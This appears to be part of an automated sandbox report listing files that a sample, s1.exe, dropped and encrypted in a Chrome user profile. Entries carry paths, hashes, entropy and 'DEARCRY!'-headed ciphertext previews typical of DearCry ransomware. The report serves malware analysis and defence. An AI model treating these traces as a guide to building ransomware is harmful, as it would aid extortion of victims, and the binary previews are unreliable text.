                                                              Preview: DEARCRY!.....h...p..2.._n..GI..SCk{..A....E..+.F.!.k[...;WyD..K..LS..c.]....<r...*i.B@......;.%s.1.b.&f.....M.d......s......[o....V.`..u...z;|..U.U.c..+.Y.dD.:....R....'.........{.S..#J.1p...-.t..r...(...r9"6E...;....T7...W...(.az......?4..y.Y..h/I[.G.....,..........]0....U..*.1.6.w'.W.\....../u..I....y.}o..2..`S.._.U..)1.M.O=.........4o.Qtd....r..D5R...X~.|.e.3......C.e..or_......C.A....WIL.....j:..m.|*..I.|.Xz..5........."\.2E..A..&c..}Zk..\..?^..$..96B.....N../.f<.3.&...ME2....Gk...B}tF4v}<......$..&.n[.FL.....G.<v..1.E.Y/?6S.O...aOpF.b.Z{.....".......#.........Y........~E.<.....w...KJ.....k..v..BLH.>.~..P..S'}...u>z.._..0.1........^gc:.-^.1.LJ....:.+..st2.1....-.U....rl..h}g...$...ti@c`...<.i....H%^....f...a3....-..C....-.H...k..~.C.... ...c..cYln....!.G...1..j.T.u......8...b.....&.}..v.8.B..U..w[.......yO=..]2E.<Z......t....jq.9..uo.........?..7.=.....9F/.s..'.=.....e....a...xA_...}a...:>%....}y.Y..<'... \uM...0v$......n...S;..:.
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm\8520.615.0.5_0\feedback.html
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):15606
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:3D81E860741644589AD22DF68C217BB6
                                                              SHA1:89EA6E7B9831F20358B448E4E74B1A925686E760
                                                              SHA-256:42E2C7BAFC3337341CEA756F755A40A89071D227C760F53936F85E605AA475B8
                                                              SHA-512:F1C2F22D7FCF979A1BD090B47B5985E42424DBA69879BEBC61B4F6F19147E1210F7BD9B2EC7E44B02EC2C64D7360C3B18F229CC20E925FCB281D16812D03786D
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm\8520.615.0.5_0\feedback.html.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):15896
                                                              Entropy (8bit):7.9876015518914985
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:8F8D7E4DD6EFDD7EB6FDB7932EE64AD4
                                                              SHA1:76FC5BEAD410DE98571D8CCDAE968D9D4D183787
                                                              SHA-256:8B8D654BDC21909E236675783ED414351D3E78AF33D38C78522D01FCD90659B4
                                                              SHA-512:AFE980D528FB56571F240787DA5E65018183AC6203F5D2D248D95DDE591D951F1532C04E36B3F5854FAE3CAD9FCC545FC451918AC9F1EDB038B42828C3CD5D91
                                                              Malicious:false
                                                              Preview: DEARCRY!....O..?...0..o.P....}?..>$t...<..nd/.......AV..a'A.\g..@.)...L...M.P../..m.SKk.'......{x...x..^.....:..Fn..v...v....X4.....U.j.w..I.:I..Eu.G.V].+.....<6.L[.ajI....{..,h.B..=.W..E.p&...r.~.c....VQ~...4..y...........f...KO.i...6-Bla......7..r.Y?..L1.....<......B...H}..'.#..t...Hr..g2m2.9......q....Xx...:..U.L,.U.).L.....[...J...g.A.n+..(.}[...r..$E?.,.......Z;....T.W6.V..:..0,.........y....*e......9.Z.p.?t.b..+.L.....tc&@T7u...d..j.s...n... QQ.Hh..}...#.....cV..G.d.R".|}..Mf..1c..'.X.ncJ..D"5..Ml)......./..?`S..OL}.'...#.4=U>&J.._.nL.......1.....A....`.....*..q...L.].Iw..cH!........Q..a..cS..^..,..T..U...(w......>b3Z....a...q..a....s.....o.%0.U..RCq..........R.........l...u..'2.^}.(Q..r.%.-..R!..}.....e...JH..;.g.c.{?.>....0...N{....XYY.T..K.x....1K..BW.B...&.y..1.a..f8.b..<]........D..H`.,i.......:R.i..Z..@.nb.F..w.t. .y.....V.U.&O..>JiOZX.._.+..O.....O|..z6kWy. =..j...1.W ......7......Wk....ej..Qj.\.z.1..S.3.8L..q...N...$_..
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\000003.log
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):19
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:7AE4D6728E33FF002BF67A2E5194CCB1
                                                              SHA1:1A6372D15D776F9879D300E51EC145363CD63667
                                                              SHA-256:234B7F9389F9B521F407805760775940D79A48188338D02A1FE654E826A83F69
                                                              SHA-512:C74AD1ABF5EF250DCD363B28F9D76B5B62FA1E1C9A9FD7D62C261AD9758C16ED526D2AFB29169D1116C1762DDFDB5E0F87345211370C9E5984F06543CCC392D4
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\000003.log.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):312
                                                              Entropy (8bit):7.141305267977619
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:95FAE86644161B885F16C622948A48D1
                                                              SHA1:6891368AABBCD927682C8EA50ACF5C37BE1F336F
                                                              SHA-256:1F533CB34AA37F42ABC0524387C66F5A9399AF9A48CC8C92984E9C144D85E2D9
                                                              SHA-512:0CEEEA751E93B8813039E64100447D429A8B7EB9993A18691A0B68BD78635A7DE41DF9041D2EC731639181280E1CBDC673D2167D229375842A005A03C5D8709B
                                                              Malicious:false
                                                              Preview: DEARCRY!.......,.b....A0.;........I...D.N..]J...q.....#.p$NqQ.y..[.M.Z..HJ..o.f6..Y=.i*6n......A.]..L.S..k.QZ...q.>`[b.4..S.8.m..`.(..;a .:.8.......G..h.:..}.....>K....Gd...(....A..5.{...q..$j...N2.. ....'=A......?^......#H.........%.$.!..4.I2....xb..0.E..................ge-.0....s..%Z1@t.....we..
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB\000003.log.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):592
                                                              Entropy (8bit):7.5180959693684075
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:489919AF8C31884A434923D11382E996
                                                              SHA1:CBCCCA07E5B9FD7768E434820733574F85043ED4
                                                              SHA-256:9574EB0694B55547FEF24A3FC82331723633DC26B731ABD7640CA7B99A258A5A
                                                              SHA-512:B6B6BD7895F3B0A3819E89253C0BDBC2245697E5F5495E11E3AE72D38AE3AE1124C001D0F2907D19B92AC86D8E456CD4F721C29D43F8A483394E449FC54713E4
                                                              Malicious:false
                                                              Preview: DEARCRY!....7l.D...XA......w.K. ..s..I..<......!<.........v..Q I/..9.W.n..h........a....I.F.t...`..{.[.].H%..N.b...KG.....G.j..!i.Y.Ia.Z.Ay.,.-u...s#:G.^7......'.}./............k~.....+......./.$.M..`7.R.D.$..?V.1;.x'[.....]#V.|U..y....Vx.w.*WW. ...............)}..:.A.\5Z...-DEARCRY!.....IK#cD.z.j.A...`h 6n...[.:P1e.. .^..c...#-}.G_..5.|..p.W}n.]N...]4.../Eu......y...\..bp.D2...x"..|x8.l.~<.>p..Lb....N..{...0....%,....Ou..7}z...G..DQ%.n..\<q.....gaF......f.....V...W.5.;..^G^..^....\.yQ.u..n;.Oc`.S....a...p]*+.IPl +aJU?.k...i9................`.1.x....R*..
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption\000003.log.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):296
                                                              Entropy (8bit):7.187013183628047
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:9A1B41AE3B088DD814E455A150EA73E8
                                                              SHA1:1C71F048206116A6237B950A3703BBB4324F3EF2
                                                              SHA-256:F94999A1F6F7BCEC56F49678242BE90A028F2E8296216B02E3AAF1147FB7CD43
                                                              SHA-512:B3EC19CC60FA7D4C3047BFCDF6567AFECF4818396F5D193EB315DCB655585CEF4EB7EB97ADF67787A0969AEBCF58DDF2C738C2FFD5778CCF1BED9C1F691C36DE
                                                              Malicious:false
                                                              Preview: DEARCRY!....[....g.@...hK...PC..W.-.a.+]...DJ..J.-..KIx....=...). ......-..S..#.c...j`..N.............g...H...b...VqX..Wc.9....^:.T...D'.......Qu.....8E...<.#wc6H.@..C...'.S...D..;}...u>..9.&........(......F.n......l..;.f.......;d\D..LC4..f....9......+.5............P.9..W..!.5sV7.
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi\000003.log
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):49
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:804DB6924EEF06DFC1DEB82374A14357
                                                              SHA1:D52BCFB557DD3ED70968F8835CCFF3C924885631
                                                              SHA-256:FF85F0693C8E6BBEEAA1F90C32E1159B9B545D830FFE58CD80CB94D9D8140D21
                                                              SHA-512:68BD81299C677518ED61A4201113E56EFA2B7B35A4508EFF4E5518FE08FEC612BBCADFC3C6A57858C030185AB73CBA71623D3ED60E002D18D1C53A373FBEE96C
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi\000003.log.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):344
                                                              Entropy (8bit):7.2515887097569465
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:C442DA5749C1357C7D22DA50CEEE1BB0
                                                              SHA1:155F9671F56DB772CF2076C6B35984380467E62D
                                                              SHA-256:7A9AB23DFADED4F5A21D38C9B18B80A1827A60CA8E22DCD7AAFD468F78107180
                                                              SHA-512:273328A8F9BE7A37DDA6BCDF2FD1185CC0ECA1336786583090D38072294E60258AB64099A5D5EE5A1C4265F0CF63F3F3C5163684F9396A60DEF095A1E2042B10
                                                              Malicious:false
                                                              Preview: DEARCRY!....W..j,.$....|...C-o..j.Lc.B...&...R.....S..a$...rUa..3.5....n...GI......{A...B7...?.P.C0.}1......'..._..d....\O.6q.....F9..P}.....m.......M.B_.....G.8f..{F....MD..D?...E....>.......M.N........A,...k.......-j..'.m_.8.........-......t.~u..{....1.........i......P..X"V...ApQ(..n......4<........U..9.+..h.{....v3.
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):4871
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:054DEF102864610AFF96FDFFD94B38DE
                                                              SHA1:9494CDE5438D85D2F16FAB5B5D51A8D96FDB4997
                                                              SHA-256:97ECB22F56BBB4ADDC164C0765904DAE8CAF5991CA3B3F6C6C858006BF23EBA3
                                                              SHA-512:DF6AFC78B922567B3DF4EE893103DB5CA7D45266370E238336D5D0F66BB5A1986D194FCFDB22C271BF70EEF5B750F36B49BA4030C0EBE3ECD62BFF016F61916F
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):5160
                                                              Entropy (8bit):7.9648206795103205
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:C6FBD69ECA960BC7BA95F793C39314BA
                                                              SHA1:F8E52A2BEDD73C872D283BF8D5B16855DF2927E3
                                                              SHA-256:BE1E199EFA6BB99C33EEE784DC2DE8410FA790C0E0501C9716A78991C8862821
                                                              SHA-512:1A2E29AAAB6FEC95D7B8CA6FA6ACA1CEFBCFD0875F8F132B747B7747FEBA3BF86B12057DA81DC836A49AEC6A0F7AC8C4818707142D20C69D27B994031CDA47FF
                                                              Malicious:false
                                                              Preview: DEARCRY!....e.n.a.gk'".~Q......u..O.x.keO.1...2.$..`*.E.(@.h..y..8..v.....W.~...?.1..3..w"D.g.......Qa...h{.wJ..d..o..wO..m.j...}^..Cpa7u.........Az...44.D-Z.....O...6.F.%.:{zT.]R.t...<.z.@l.w.^'!.=\;"^..;....C|x..D..W...qc.D....q....,./J.8.F..+................w>.&.9..i`..q....a.>07x..N.....W{.J.._.*.....u.p......U.>_..$..J.T,.OO4wcv&.h...[?...lVK.....I...j...z..t...Aan.....s..Ak.T.*.!.nlnr}..[..h6^O}....R.....tJ.J5z....4....k`..t...T!.C...t3...0#?............T............@..*1.g)h.......@.@..Q...W{./6..ZUF....".;>........W.2..].......!..#..y9`&.}..+.4..]-..I.N..@.../.QS..O.jN..x.:.r....r.."..8.m.:....6.m.'..LP...L.../%.%.mz...vF#i.h|AI%...=..7..#.G.uX.............O...c.k.t(.......d.......^ .3z...+...R$...0.......p...G.......3<..x.KC..}..4..F,..t..u..u.v.8.W...>...T.`.+...+2.M....[].C`..Y>....H(k...Y..5.k....qk..L.....Dd..QL....7.....oQ.q...H...Om.....H..I..*X<k..{W;]......W..K..b...`...f....<.^..D.1.T.EJW|.V(......<m.PJj4
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Platform Notifications\000003.log.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):296
                                                              Entropy (8bit):7.2198248387199575
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:61ED77D8489A46921741A91675485114
                                                              SHA1:018C8CFCAF272C382DCB37FF78E4CCD4CC9447FC
                                                              SHA-256:FB89D9D2DFADEB1AE262D94D1B8BAF5C82B8AF0F9D4F758B4EB3925EF7D7A60B
                                                              SHA-512:61941A215A20B269A4FFD282C26945BA00BCC0C4CEF4BF278DFDA8D865CE9A809026E3573835DB2955ADBF8E21F2BA43655167DA68B318D7AD277EA6658C6DD2
                                                              Malicious:false
                                                              Preview: DEARCRY!......H...KIP......Y.j....g.''.2....L.........YZ....,X...h.1-,..p.._.....%......c!..1....{...c.2..W.&.@[...F<.7+C.>Y....3=lj.$.S. .b8~Ou.X.+_Dv. D.....L.2q..n.f8.s...X..l....{.^..y..e..>Z..?g.(2....~.}."`.0..h!..h....)d........_{]i.\...4.Be-...~................oN.L..d.e(N.
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage\000003.log
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):696
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:F85DEAC8C1F3F97247C7D9CD7994D2C8
                                                              SHA1:D56F55B075AF6B102A3F9FE728832F93093EC860
                                                              SHA-256:73543E5F5C84EB0BEC6E56F6A69A5AD19E65F4A4BE3C302B7C43E0523F9AC3D8
                                                              SHA-512:3444C7294D99BF0A425F8FC1856B86FCF35DA6AA9A16249F714A113E2433A71D81E0057F9701BF8FB64CDC3BFD7C25A298C50E200A5FF76EC1D4F7F81371D12E
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage\000003.log.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):1560
                                                              Entropy (8bit):7.818888276845465
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:06B414BEFE6B3A486A88606C5F942C0D
                                                              SHA1:16072ABA0E1CE7D1183A850C42AF4D227B86A471
                                                              SHA-256:DBC20624113F960C427A025A50F83CD54DA24C11479F55CC59488FB19D2D6B55
                                                              SHA-512:4FB9B6E9750BCA2AE1F5DC3162E962115C18BEE933EA904F540AF37C5585BF500E5A40E4C5396C3C2BDDD18DDD3A085D1A0EBBDCD5A243FB37C923615EC48DFD
                                                              Malicious:false
                                                              Preview: DEARCRY!.....O...F/...Y.(.x..F.N.....<..2.....V..x...y_.Tg..ol._^.].*?.O.h.0Fa.p../]GS..U.<.C.9.V.+Y.lq..bm.N...Ut..!.C..`..n.$GS*%@!$......|...h..v=.?2K....'*.x...c.Tw%...nL,...$.t..X....-.E....?.....,.....4LE1o.......OL...h_....4.f~:...1.N.....V..............k.j.4.CJ.s..r....v..^..[3.e.YOr9.`Jt....o...!.M.....r...-.....Y.a..;Z.)B..+....".x..I.2.n.a....!..7......7R.......I...%mH...`c|.h!.....>#...;)..E..r..83..6..h.q..k./..m..)D1............t.........V.~;.%..4X..2..|lJ.:p..(..aV.k..YDEARCRY!....Z.A....M`21../nH..z-L..~p.....6.Xq24....'r....6&O|.....Rw..k..+...w.6j.....=...@+..x...0....;..X....."<mZ.0F...P/......5:...T..}..Xk.q.AR^.Q.]...7.z..K.o.x.x..1..'.......J&V-5.....=....l.:KF!..^T...T...Y....~n....t2!..i.q.3.."QSp..|V...H:.WS./..............(j.S.L.B.......b..l.W.t.mI8D.....|.{.S..a..Tn*3X%.V.8'.......k*......}....6...Z.m]Hy.....d..\..,..z|.H.^...-9..2....>..3...".:.Q.B...C....,@...QAR....[..T....\....?.'s...>.T..Q...r?..f'.s
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\000003.log
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):80
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:D1D9ABE750525B2B6C74A5291F52BAA7
                                                              SHA1:2D5D85DFD3361150E8BEBE7CB730C08258206BA6
                                                              SHA-256:D9B1F3E2C6D528668A73F22575C44ED9F98D9C684964761B621417EFD80D7A60
                                                              SHA-512:B2BF8578EEAB1AAEEE7E51DB684ECCFDF2AD7048142E47A01646D26A3137528D0721362456A1333630F9ED7B61EC8A9B1F4EF2C40C35DEFFBEA635ACBE170B07
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\000003.log.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):656
                                                              Entropy (8bit):7.610963195506328
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:4161E0A411CA224A0CEDA666CEE5DA2A
                                                              SHA1:FD3147B5CC7CED63017A8D2E80A9C3B09D2AA0EB
                                                              SHA-256:5D6F44F319C54A1CD9FB5E849E9E3B45B5CB199F488F4542158333310185BF7D
                                                              SHA-512:DDD6DA8EE8BD365F47C4885D17703F4F59E5DCF73FD378D90EE66EF3E47A8769BE632A10D140193A2F89FC26B05B7F5EB6453E0D7EF1D5B5F5F5978778F12B62
                                                              Malicious:false
                                                              Preview: DEARCRY!......&....O[.1. .A..6.;d.P.1.k!...$../I.j&.cRWHW....+\.t`..b-.@K..7l..z'...I\..>.o]..yp.k0L7s"+...*}.s...,..Z:..<S..-E.5#./!.#'..qFL9.a.1.........!9&.|.=.'.\{/......u..Xj..H.Jb.4.D..3s....1.:F.G...am*f...n.dB....i..r..W0U........-^...oLm...g.....(........8..m.f.`?8(.c.....b.2,.oU=...........B.IR../..DEARCRY!....;W.fp).....o.._...Y}Z....\.vR^p.Tl.o..{...:.Q.Bv.....x.t....x?e....c..E........W}Q.....L.8..qW.*,..L.....l......d../....'.VE..8sv...H_.j.a.....=...fbR.u.....p..^..i..x.D0|.......0fC.f,?...........Um....m.N.........6....u.~.....4.bG:....S.........(.......%..,....a..v.+....y:.i.......3..O.T.X.L5..=.
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB\000003.log
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):366
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:5A4E7C8E4A5B3482993540C64C1641F0
                                                              SHA1:36048B0FED83930AA5E643D2F61602ACF5970308
                                                              SHA-256:03841618273B10C04DC3CC14C83ECD637AE7FAA3A5518CD272B3CE6AED944E99
                                                              SHA-512:EA59B102707782E6EB0A4A4D795DEA696069E2DBA5A4088C1686C0077067DC113EE563FB18CB599932CAEB7C6F8390076258B87EBC5459CA8614F55148BF1691
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB\000003.log.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):1224
                                                              Entropy (8bit):7.752125541388867
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:8F33BD57F888C86C0861DB57565643E5
                                                              SHA1:B0B75E8F25C63DDA03288B3A2D41855D1B415849
                                                              SHA-256:6B35BFD30EDD015E432B894376583668773D1891396045EEAC873A00E899EA35
                                                              SHA-512:377C7DCE7B5173DE9446B3D445C79D85CD044319CD95F75BE81B72EA359CA6A09FC5928118D3839D6F8CEF6F8C8896C248ADF9EEC6B248E798D09F8CDEC0254A
                                                              Malicious:false
                                                              Preview: DEARCRY!....A.@......z6Ek.....e..Ai..b ,S.Z.N.l...<.M.......$.R....].#@&.#.:.8..'.2H...o.55...N...ZR#.j.....K...:>..kO..]Q....8..J;..W.bp.....'.j..R..8..lS<j.S..K.!9.........>.A..7.:K.....K..y<V....8.<..z..0..n.N...A..3....=........Q.,....G...g.OF.4.V]V.....z...........^.[..+.-.......L}..'.H-..J..rM1....,...#"..{.o.Q..Q..,E..y..,./.FVm....9.?C.3..{.....MkR.-.]....Yk.}4.-...3[.K..>.K....b.DEARCRY!......x..O%..p...v.P.P+...1...r.Rez~...P....o..?.....@.zF=...ge... dM.........[..B.j.k.h..S.Y_#'.S".}...[.....c..Y.#..$x=\..p.$... ..F.j...<.e.. .W.%..?..8...uz.....F...U......G..@..G. .f<K..c...,..Dws...x..Q.d....pj....E..>.....1DT...WD.H:.K....F......z.......P.%.M7.j.(d.C.......6.(.p.....-..@. ...a.....H>..v&..`........=...gy1K..jy&.Lt.<Nu`y.&.Li.H...x.h_....%.).-|.X,....U.7.DEARCRY!.......4..;.)S..^.uf..7.`{d@.^..sq......LQ#k..T..(.T.........5#......1./...E.KyDf..;5U.B.f...B 8.,..^g...b.o..g..i..l)=....4a......^...y..*s.'D...1....0.6...I....K.....>q
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\pkedcjkdefgpdelpbcmbmeomcjbeemfm\000003.log.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):296
                                                              Entropy (8bit):7.290444794896869
                                                              Encrypted:false
                                                              SSDEEP:
